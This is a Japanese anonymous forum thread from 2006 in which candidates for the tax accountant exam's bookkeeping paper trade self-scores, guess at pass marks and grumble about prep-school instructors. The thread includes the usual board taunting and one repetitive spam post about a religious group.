一生懸命自己採点してる奴アホだろ?時間と労力の無駄の局地。

789 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:38:08 ID:???
ほとんどの人は30点もとれてねーんじゃねぇ?去年よりもボーダーは下がるね。確実に。
去年は知ってれば解ける問題が個別で多かったしね。

790 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:38:59 ID:???
>>782

↑こういうアホがいつの世もなくならないのが不思議でしゃーないよw
みんなが取れてるところをとっているか、って取ってあたりまえだろw みんなが取れてるんだからww
そこでひとつでも落とすやつは始めっから死亡の運命だったってこと。
みんなが取れてるところに加えてさらに大きく加点できたかどうかが分かれ目。

791 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:39:35 ID:???
ボーダーはどうみてもあがるだろ。講師も言ってたし。
自分の出来具合にあわせて都合よくボーダーを低く見積もるのはどうかと。

792 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:40:21 ID:???
>788
いや無駄の局地っていったら
やぱこの1年間の学習でしょ
いままでの努力が一瞬にして・・・・・

793 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:42:19 ID:???
だいたい税理士試験自体が無駄じゃんw
パソコンで伝票の打ち込みしかやらせてもらえねぇのにww
タイピングスピード試験にでもしたほうがよっぽどいいんじゃね?

794 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:44:42 ID:???
>>793
バイトが知ったかwwwwwwwwwwww

795 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:45:08 ID:???
去年よりボーダー高いよ、きっと
50〜60になるかと・・・諦めも肝心

第1問 16
第2問 14
第3問 25

このくらいは最低要求される気がする…


796 :さっそく過剰反応w:2006/08/02(水) 11:47:56 ID:???
794 名前:一般に公正妥当と認められた名無しさん[sage] 投稿日:2006/08/02(水) 11:44:42 ID:???
>>793
バイトが知ったかwwwwwwwwwwww

797 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:49:05 ID:???
合格率によるな。
13%とかだと62〜65点くらい要求されそうだ。
20%なら56〜60でも十分に合格可能性がある。

798 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:49:40 ID:dw+yIMzs
あのさ、ボーダーを60前後の高めに考えてる人はID晒して書き込んでくれない?
なんで常にIDが「???」なの?

799 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:50:55 ID:???
>60前後の高め
全然高めじゃないと思うんですが・・・

800 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:51:27 ID:???
798 名前:一般に公正妥当と認められた名無しさん[] 投稿日:2006/08/02(水) 11:49:40 ID:dw+yIMzs
あのさ、ボーダーを60前後の高めに考えてる人はID晒して書き込んでくれない?
なんで常にIDが「???」なの?



アホ登場

801 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:54:28 ID:dw+yIMzs
>>799
たけーって。ここ6年でボーダー60超は第53回だけ。
その他は大体44〜48くらい。
で、今年は第二問以外も集計が煩雑だったり、CFだったりで取り辛いから
60超はないと思う。


802 :短答落ちの哀れな煽りw:2006/08/02(水) 11:54:51 ID:???
793:一般に公正妥当と認められた名無しさんsage2006/08/02(水) 11:42:19 ID:???
だいたい税理士試験自体が無駄じゃんw
パソコンで伝票の打ち込みしかやらせてもらえねぇのにww
タイピングスピード試験にでもしたほうがよっぽどいいんじゃね?

803 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:55:41 ID:5P88BpO7
簿記疲れました
免除しに行きます

804 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:56:31 ID:3bINc6X2
去年合格者だけど、去年も65とか70とか中には80とか言ってる野郎も言ってる奴がいたが、55で受かってます。
まぁ、たしかに去年は70取れる問題ではあったが、それは通常の精神状態での話。
俺は昨年第一問8点しか取れなかった。あの超易問で。

だから、あんまり高いボーダー言う人いても気にしないほうがいいよ。



805 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 11:59:32 ID:dw+yIMzs
>>804
去年第一問8点で55点行くって凄いな。


806 :795:2006/08/02(水) 12:00:22 ID:Sn6MQqvo
今回は恐らく最低50〜60は必要、そんな難易度だったと思います。
受験生の3割は、問1,2で30点前後は取っているだろう。
あと問3で20点以上取った人が競争に参加できるって感じじゃないかな
俺はたぶん落としているだろう・・・

結果はどうであれ、俺は年内簿記はやらない。消費税法の勉強に移る。


807 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:00:41 ID:???
>>801
それはお前個人の勉強不足だろ

808 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:01:33 ID:???
簿記論なんか勉強してどうすんのおまえら?w
こぎたねぇ事務所で人様の伝票をパソコンに打ち込んで一日終わるようなむなしい人生送りたいなら止めないけどなw

809 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:03:11 ID:???
俺のまわりの上位2割連中は第一問と第二問であわせて30ちょいくらい、第三問で30くらいとってるから58から62あたりってとこじゃね?

810 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:03:33 ID:???
808
必須科目だから(きっぱり)

811 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:04:09 ID:???
解答出てるの?

812 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:05:30 ID:???
>>810=エヌ村www

所得がんばれよww
あ、来年がんばれってことねwww

813 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:10:44 ID:???
今回の試験はこんな感じかね?


40前半以下

ーーーーーーーーーーーー(ボーダー)ーーーーーーーーーーーーーーー

40後半→合格可能性は少しある、諦めたつもりでいる方が無難

50前半→合格可能性はある、だがかなり危険

50後半→合格可能性はかなりある、だが安心はできない

60前半→少し安心しても良いかもしれんな

60後半→まず大丈夫でしょ

70以上→神

814 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:11:05 ID:???
所得がはじまる3時すぎになるとリーチの書き込みが一切なくなる件

815 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:11:55 ID:3bINc6X2
805
まぁ、ぜんとー以降上位3%下回ったことなかったからなぁ。
でも本番には魔物がいる。
そして、試験委員の採点にはさらにry

816 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:13:13 ID:???
50前半以下→即死

50後半→突破可能性20%未満

60前半→突破可能性40%

-----現実的な合否ライン----------

60後半→突破可能性60%

70前半→突破可能性80%




こんな感じじゃないか?

817 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:17:22 ID:???
>>816
60前半で40パーて、今年より簡単だったおととしよりも高いな。

818 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:18:13 ID:???
おととしは問題レベルそのものは低いけどねえ。
俺の中では最高難度。

819 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:23:56 ID:???
一昨年て税効果とか会社法違反がどうたら言ってた年?

820 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:25:38 ID:???
>>819
ああそうだ。
ただ実際は会社法違反などどこにもないのだがな。
勉強不足のやつが半端知識でのたまってた屁理屈。
予備校の講師までもが言ってたからアホかと思ったよ。

821 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:25:40 ID:???
法定実行税率や配当可能限度額、三月仕訳の精算表の奴です

822 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:26:19 ID:???
50後半がボーダーか。

簿記論に関しては受験生の50%は合格争いできるレベルじゃないと思う。
だから実質は残りの50%の受験生の中で、20%〜30%以内に入れば合格できるわけだが。
みんな本試験という緊張の中どれだけミスなく解答できたんだろうね

合格レベルの人ならば70点は取れる試験、
緊張感を考慮しても-15〜-20ってところか


823 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:28:48 ID:???
俺その一昨年合格だったわ。
確か1番はほぼ満点だったけど2番が意味不明で、
3番はもっとやりにくかった。

824 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:31:39 ID:???
ちなみにあれはなぜ会社報違反じゃなかったの?

825 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:45:32 ID:???
今のところ、独断と偏見で謙虚に採点して
16−6−24です。
2〜6位うpの可能性あり。


826 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:47:29 ID:???
ボーダーは70くらいちゃうの?
そのくらいになるはず

827 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:49:51 ID:???
70は多分いかんよ
60前後がボーダー

828 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:52:07 ID:???
いや、55±2だな。

829 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:54:52 ID:???
そう願いたいな。だが、現実は…

とにかく50はとらないと話にならないって事だな

また来年受験かも・・・

830 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:55:36 ID:???
第一問は超簡単。
20くらいは欲しい。
第二問は資料の与えられ方がやらしいが解ける。
18は欲しい。
第三問は全てが簡単。最終値以外は合わせて欲しい。
40くらいは欲しい。
ボーダーは大体70後半から80前半になるんじゃないかな。

831 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:56:39 ID:???
60点はとれてないと勝負にならんだろ。
64点くらいから希望の光が見えてくると思われ。

832 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 12:59:57 ID:???
Tのボーダー予想では、2年間隔で難易が交互に来てるから
今年は50台がボーダーだな。

833 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:02:39 ID:???
ボーダー60以上とかマジで言ってんの?
Oの答練で合格点60点超えたの簡単な最終だけだったんだが

834 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:08:38 ID:???
>>830
模試で上位1割にいる人間が普段の実力を出せて85〜95取れる問題だろ。
本試験の緊張感の中、解答するのに模試1割の受験生でも-10〜-20にはなるから、
取れて65〜85ってとこだろ。

専門学校の模試で2〜3割に入る人間は合格できるレベルとして、
普段の実力ならば65〜85取れる問題だったから、本試験では45〜75
合格できる最低限のボーダーは50くらいだろ

根拠はないけど


835 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:09:38 ID:2f/yf0+c
きっと自分の出来に合わせて傾斜配点してるのさwww

昨日第三問の答えがあんなに合わなかったのに6割超とかねーよ。
第一問八割で二問半分で20-13なら三問は15箇所くらいはあってるのが必須になるわけだ。

どんな脳内傾斜配点だよ

836 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:15:06 ID:???
思ったんだけど、途中で退席してる人ってさほとんど予備校関係者だろ????

837 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:17:52 ID:???
かもねw
解答用紙持って行ったらダメだから、
計算用紙にせっせと解答用紙を再現して、
途中退席してんのかなw

838 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:19:33 ID:???
解答用紙写して退出する役の人はちゃんといるって言ってたよ
いなきゃ復元できないしね

839 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:21:16 ID:???
>>835
自分のできが悪かったもんだから必死だなお前w
65とれてなきゃ合格はないぜ今年は。

840 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:22:20 ID:???
>>834
今年の難易度じゃ50点だと100%無理。

841 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:24:11 ID:HWZDKm30
もうなんでもいいよ

842 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:24:57 ID:???
所得の時間が近づくにつれてリーチが登場しなくなる件

843 :これが真実に一番近い:2006/08/02(水) 13:25:31 ID:???
50前半以下→即死

50後半→突破可能性20%未満

60前半→突破可能性40%

-----現実的な合否ライン----------

60後半→突破可能性60%

70前半→突破可能性80%

844 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:26:43 ID:???
ところで去年の本試験のボーダーってさ
TACでは42〜47で合格確実が48になってたけどそんなもんだったの?

今年TACの予想では+3〜5のボーダーくらいになるのかな
まぁ専学のボーダー予想なんて、まったく当てにはなりませんが。


845 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:28:39 ID:???
>>840は恐らく50後半

846 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:33:16 ID:???
じゃあさ答練とかの合格点て何なの?
レギュラーはほぼ50前半。
本試験が答練よりも簡単だったとはおもえない。
同レベルぐらいじゃないか?

847 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:33:52 ID:???
今回の試験をTの応用答練1並みの難易度に例えると、
上位10.5%に入ってる人で66点取ってる。
しかし、分母は3,412人で本試験とは比べ物にならない。
で、去年と全く同じ受験生と合格者が出ると考え、その内
1,000人(控えめ)を大原とTACで持ってくと考えたら、Tでは
上位1,000人は応用1で56、55位。
よって、55位がボーダー。

848 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:34:01 ID:???
去年52とって落ちてたやつもいるんだからあてにならん。
専門の予想にプラス10くらいが実際のボーダー。

849 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:34:09 ID:???
今回ボーダー100点でいいんじゃない?


850 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:34:54 ID:???
>>846
答練での合格点ってのは、よくがんばりましたおりこうさんです、って意味。
答練を本試験と仮定した場合の合格ラインとは意味が違う。

851 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:35:00 ID:???
問3の模範解答がまだ出ていない時点でボーダーがどうとか、
何点とったとか言い合っても意味がない、明日の大原解答を待て
問3取れてると勘違いしてるやつが結構いると思うから


852 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:35:57 ID:???
>>847
会計士組が大量参入してるのを忘れちゃいけないぜ。
俺の知り合いの会計士組はみんな75点くらいとってるから、ボーダーが引き上げられる。

853 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:37:41 ID:???
まあどっちにしろ60点は少なくともとれてないと見込みはほとんどなしってことだろうな。

854 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:38:12 ID:???
受験生何人いるんだ?全体で

855 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:38:18 ID:???
本試験の過去問解き直ししたって75なんてとれねぇ
答え知ってるんじゃないその人

856 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:38:50 ID:???
昨日試験会場でさ、売価還元法の資料見て全然意味わからんかったのよ。
で、全飛ばし。
でも今朝見たらこれ結構簡単だよね。
何でこんなの飛ばしちゃったかな〜俺のバカバカバカ。

857 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:39:31 ID:???
解き直しで75もとれねぇってどんな頭してんだよ、いやマジで。
解説の日本語読む能力すらないのかよ。

858 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:40:03 ID:???
所得の試験時間が近づくにつれてリーチが登場しなくなる件

859 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:41:00 ID:???
会計士は高学歴の頭の回転の速い輩が多いんだよ…
財務諸表論の理論講義スレで違いを実感した。やつらには勝てねぇ。
そして、第2問とか問題を理解する能力が問われる試験でもあったから、
75くらいの高得点もありえる。

860 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:41:21 ID:???
答練受けない奴らのレベルが知りたい・・・・

861 :859:2006/08/02(水) 13:42:01 ID:???
訂正:会計士は→会計士受験生は

862 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:45:17 ID:???
売価還元切って、長期請負間違った人は即死なわけで

863 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:46:06 ID:???
ウチの講師に文句の一つも言ってやりたいね。
C/Fも売価還元低価法も重要度低いなんて言ってさ。
どっちも超重要じゃねえか。


864 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:49:48 ID:???
予備校の講師てほんとアテになんねえよなしかし。
連結よりもさらにC/Fが一番重要度低いとか言ってたしwww

865 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:50:45 ID:???
おれが習ってた講師は一問目CFあるかもね
って言ってました

866 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:53:15 ID:???
今年から連結、CFも直前期仕様じゃなくなるな。

867 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 13:53:51 ID:xJfAps2V
だよね一問目はとれるとこだけ解いた

868 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:03:41 ID:???
まあ、予想が難しいのはわかるけどな。
ソフトウェア、企業結合、外貨建取引関係、連結、C/F、本社工場、在外支店、
退引、リース、減損、まあ、いろいろあるけど実際どれも重たいからな。


869 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:07:09 ID:???
傾斜配点とはいえ、一人でも答えてる箇所は1点を
与えないといけない。
今回は解答箇所も少なくて大体一箇所2点で計算でき、傾斜配点
によっては点数もかなり変わるんじゃないか?

870 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:09:42 ID:???
傾斜配点なんてされたら長期請負工事の問題をミスって、
売価還元低価法を合わせた俺は50きっちまうじゃねぇか

871 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:23:11 ID:???
>>870
あ、お前死んだわ。傾斜配点は高い確率でされるよ。
第三問高めに計算してるだろ?
端数処理ミス、集計ミスが結構起こり易いよ〜。昨日皆あんまり答え
合わなかっただろ?だから第3問でそんな思ってるほど取れてないだろうねえ。


872 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:28:27 ID:???
在外支店やCFまでやってるのに連結はだめという線引きはなんなんだ?

873 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:32:13 ID:2f/yf0+c
傾斜配点って問題の枠も超えるの?25-25-50でなくなる場合もある?
問題ごとに試験委員違うから採点も別枠かとおもってた

874 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:33:55 ID:???
でも、今年から合格率を無視して傾斜配点なしで純粋に
1問2点で2×49問=98点→98点×60%=58.8点以上が合格ってやったりして。
試験委員が効率的に採点しやすいように。
受験案内にも「合格基準点は満点の60パーセント」としか書いてないし。

875 :870:2006/08/02(水) 14:34:02 ID:???
うへほ!長期請負は3問しか合わせてねぇ・・・
第三問低めに計算して22点なり
第一問は14点

876 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:38:11 ID:???
>>873
去年は第二問ほぼ0点で40点いかないんじゃないかと言っていた俺の友達も
受かっていた。25-25-50とは限らないということだろう。
場合によっては45-5-50だってあるかもね。
なにせ密室で採点されるわけだから確認のしようがない。

877 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 14:39:59 ID:???
ただ単に問1と問3でぎりぎり合格点が取れてただけだろ

878 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:01:08 ID:???
いよいよリーチの書き込みがなくなってきた件

879 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:23:09 ID:???
さちたんが教室でまっている!!(゚∀゚)

ワクワク(・∀・)ワクワク

880 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:23:40 ID:???
リーチやヴェテに挑むの書き込みがこの時間帯ありえない件

881 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:27:21 ID:???
問3のボーダー予想しようぜ
28てとこか?

LECでは、
問1 14
問2 12


882 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:31:08 ID:???
法人は大幅に易化だったな。
ってことは例年どおり、所得は大幅に難化、ってとこか。法人と所得の難易度が交互にきてるからな。


883 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:41:09 ID:???
>>882
去年に比べればとっつきやすかっただけで
個々の問題はなにげに難しかったよ


884 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:43:49 ID:???
所得と簿記うけてるあの人は両方撃沈ってことか

885 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:50:42 ID:???
去年、合格したが、なんかこのすれ延びないな。
意外とみんなできはそんなによくないんじゃないかな。
おれは、去年、46点くらいだったと思う。
特に第3問は、むごい傾斜配点があったと思う。
ほとんど取れるとこなかった


どちらにしても、おまいら、大変お疲れ様でした。
今月くらいは、ゆっくり海に行って遊んでくれ。

886 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:55:33 ID:???
ありがとう。
今月は少しゆっくりする。

本当スレの延びがないね。
みんなはどれくらい取ってんだろ

887 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:56:39 ID:pqaR3G2f
12−12−26くらい

888 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 15:59:22 ID:pqaR3G2f
あなたは?

889 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:03:27 ID:???
ん、俺は>>870でも晒したんだけど

14−14−22ってとこです。

問2は傾斜配点で下がるかも…

890 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:06:17 ID:???
リーチとヴェテに挑むの書き込みが17時すぎまで不可能な件

891 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:08:11 ID:pqaR3G2f
そうか 同じくらいだね
うかってるといいね

892 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:11:01 ID:???
うん、問3の解答早く出ないかな〜

893 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:17:12 ID:G+Khc7Be
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価字会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 草加学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価宇会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価宇会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価字会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価字会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 層化学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価字会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!
創価学会! 創価学会! 創価学会! 創価学会! 創価学会! 創価学会!

答えが欲しけりゃ葬火に入信汁!!
こんなところで下らん論議する前にな!



894 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:19:16 ID:???
エヌ村、リーチ、ヴェテに挑む、試験番長に対して煽りまくっても誰も17時すぎまでは反論しない件

895 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:21:03 ID:???
自演だったとでも?

896 :リーチ ◆.aAQAotUq2 :2006/08/02(水) 16:28:06 ID:???
>>894
呼んだ?

897 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:29:25 ID:???
家族に前もって頼んだあの人のご家族登場w

898 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:29:59 ID:???
>>893
郵政板だけにしろボケが

899 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:34:51 ID:???
エヌ村のことを書いても誰一人として半端だの粘着だのと書き込まない件

900 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:39:32 ID:???
七連敗中のハンパ煽っても仕方ないし

901 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:47:32 ID:???
>>900
いまさら書いても遅いよww

902 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:50:42 ID:???
8連敗ケテ〜イオメw

903 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:51:29 ID:???
ボーダーは60ちょいらしい

904 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 16:55:16 ID:???
そろそろあの人が絶望の顔して会場をあとにするころだな

905 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:04:18 ID:???
試験終了w
熊本駅へ暑い中全速力でダッシュ開始w


906 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:10:15 ID:???
予備校に電話して聞いたら58〜63がボーダーで64が合格確実ってさ。
やっぱかなり高いな今年は。

907 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:16:06 ID:???
ハンパは敵前逃亡7回以上
戦時だったら命がいくつあっても足りんなぁ

908 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:35:59 ID:???
>>906
やっぱりそうか・・・
50前半のオレの希望は完全に絶たれた・・・

2年かけて簿記すら取れないなんて見込みがない・・・
もうオレは税理士試験を撤退する・・・

今のレベルを維持する事は大した労力もいらないので来年も
会計科目に関しては受験するが、もう税法は受験しない。


909 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:39:42 ID:SZN8RYug
さっき講師に聞いたけど、55点前後らしいよ。いやマジで。

910 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:42:12 ID:???
30〜80がボーダーライン。

911 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:43:38 ID:yR3PR8+7
高いのー去年より簡単だったのかー

912 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:47:20 ID:???
>>910
ワイドギャザー並みに幅広いな

913 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:55:42 ID:???
>>900 >>907
エヌ村、どうだった?

914 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 17:59:41 ID:???
所得途中退室かよww

915 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 18:02:42 ID:???
>>466
それをいうなら「非公開」でしょうね。

非上場でも店頭登録は時価がありますし、
問題で時価が与えられている以上は
それを使う方が自然かと考えます。

916 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 18:48:46 ID:???
上述を撤回します。
「店頭登録」株はもう存在しなかったようです。
失礼しました。

917 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 19:43:14 ID:???
工事進行基準
税法基準でやっちまった orz 


918 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 19:43:18 ID:4ukI2PFs
傾斜配点とかあるんじゃ、
結局のところ予想ボーダーじゃ判断つかずに、
12月を待つしかないんですかね・・・

919 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 19:46:07 ID:???
得点調整で動くなら、CFは簡単だったから、難しい箇所に配点がいって

第二は建設業の引当金以外はかなり高くなりそう。売価還元は逆に低くなりそう

第三は、減価償却、貸倒引当、社債、商品、労務費が高くなりそうだね

有価証券は意見が割れてる以上、問題の不備上で配点1点くらいとか

920 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 19:57:22 ID:qqzmJy6n
評価差額金に配点5点希望

921 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 19:58:34 ID:EacDJDLK
あの、どなたか教えて下さい。
Oの会員でTの自習室を合法的に
使う方法ってありますか?
私は、地方在住なんで近くに
Oがないのです。


922 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 20:25:10 ID:???
あの売価還元って難しいのか?
あまりにも皆できてないようなので驚いてる

923 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 20:25:49 ID:y0meydVA
資料通信講座申し込もうと思うけど、TACと大原どっちが良い?

ちなみに今回はTAC、大原どっちが有利だったの?

924 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 20:25:52 ID:???
自習室ってそんな魅力的?家じゃ駄目?
行ったことなくて未知の世界w

925 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 20:39:41 ID:???
>>922
大原の模範解答でさえ間違ってるからな・・・。まあ、癖はあるかと。
ああいうのは分かるときは本当に一瞬でわかるから分かった人には
できない人が驚きだろうね。
ていうか第3問とか自己採点するって言っても皆答えちゃんと覚えてるの?


926 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 20:41:49 ID:???
N村ぜったい、点数悪いよな?
多分、10-4-20ぐらいじゃないか?

927 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 20:55:54 ID:???
>>926
それ漏れ・・・
自己解答まとめたけど、
採点するのが嫌になってきた。

>>922
売価還元は苦手意識持ってれば、
本試験効果で捨てちゃうんじゃない?
あぁ捨てたさ・・・

928 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:36:51 ID:tFewpLB/
ボーダーなんて分からんよ。実際の配点が分からん限り気休め。

929 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:44:11 ID:???
去年自己採点40無くてA判定だったからなー
どんだけボーダー低かったんだよ!って思った


930 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:45:56 ID:???
Aしかないという噂も

931 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:46:21 ID:???
>>929
うーん、50点じゃないか?ぎりぎりAだよ。

932 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:47:13 ID:???
配点は公平にやれよ…
どうみても売価還元簡単じゃねぇかよ…

難しいから配点減らすなんてあんまりだ…

完成工事高、工事未収入金、損失引当金繰入、営業利益

間違えたが配点2点×4が専学の模範解答の予想配点だが

これが3点×4くらいにはなるんだよね…

オワタ…

933 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:53:42 ID:???
ボーダー、15−14−24の49くらいちゃうか?
根拠は問1は売上げ関係と最終値は捨て問。仕入れも△あと1〜2ミスが許容範囲
問2は1の引当金と営業利益が×、2も半分できればええ
問3は12箇所あえば御の字


934 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:54:53 ID:???
またまたご登場
自分の出来具合にあわせてボーダー決定するあほw

935 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 21:55:46 ID:???
>928
どう考えても解答要求箇所からして、問1は2点11箇所3点1箇所。
問2も同じ。問3は2点25箇所


936 :一般に公正妥当と認められた名無しさん:2006/08/02(水) 22:02:46 ID:???
第3問が、穴埋め式になったから、全部答えわかるから、合否わかりやすいな。
これなら、撤退、再受験、次の科目か判断しやすい。
できれば、こんどの解答説明会で全員の回答を提出させて、12月に合否を確認して、ボーダーとか配点とか解明してほしい。

